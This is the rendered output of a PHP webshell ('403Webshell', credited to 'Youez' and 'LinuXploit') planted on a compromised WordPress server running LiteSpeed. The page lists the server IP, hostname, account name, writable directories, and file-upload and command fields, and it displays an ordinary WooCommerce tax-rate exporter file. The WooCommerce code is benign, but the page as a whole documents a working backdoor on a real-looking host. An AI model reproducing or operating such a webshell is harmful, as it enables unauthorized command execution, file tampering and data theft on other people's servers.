403Webshell
Server IP : 192.158.238.246  /  Your IP : 216.73.216.198
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/cwd/plugins/woocommerce/src/Admin/Features/Blueprint/Exporters/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/cwd/plugins/woocommerce/src/Admin/Features/Blueprint/Exporters/ExportWCTaxRates.php
<?php

declare( strict_types = 1);

namespace Automattic\WooCommerce\Admin\Features\Blueprint\Exporters;

use Automattic\WooCommerce\Admin\Features\Blueprint\Steps\SetWCTaxRates;
use Automattic\WooCommerce\Blueprint\Exporters\StepExporter;

/**
 * Class ExportWCTaxRates
 *
 * This class exports WooCommerce tax rates and implements the StepExporter interface.
 *
 * @package Automattic\WooCommerce\Admin\Features\Blueprint\Exporters
 */
class ExportWCTaxRates implements StepExporter {

	/**
	 * Export WooCommerce tax rates.
	 *
	 * @return SetWCTaxRates
	 */
	public function export() {
		global $wpdb;

		// Fetch tax rates from the database.
		$rates = $wpdb->get_results(
			"
            SELECT *
            FROM {$wpdb->prefix}woocommerce_tax_rates as tax_rates
            ",
			ARRAY_A
		);

		// Fetch tax rate locations from the database.
		$locations = $wpdb->get_results(
			"
            SELECT *
            FROM {$wpdb->prefix}woocommerce_tax_rate_locations as locations
            ",
			ARRAY_A
		);

		// Create a new SetWCTaxRates step with the fetched data.
		$step = new SetWCTaxRates( $rates, $locations );
		$step->set_meta_values(
			array(
				'plugin' => 'woocommerce',
			)
		);

		return $step;
	}

	/**
	 * Get the name of the step.
	 *
	 * @return string
	 */
	public function get_step_name() {
		return 'setWCTaxRates';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit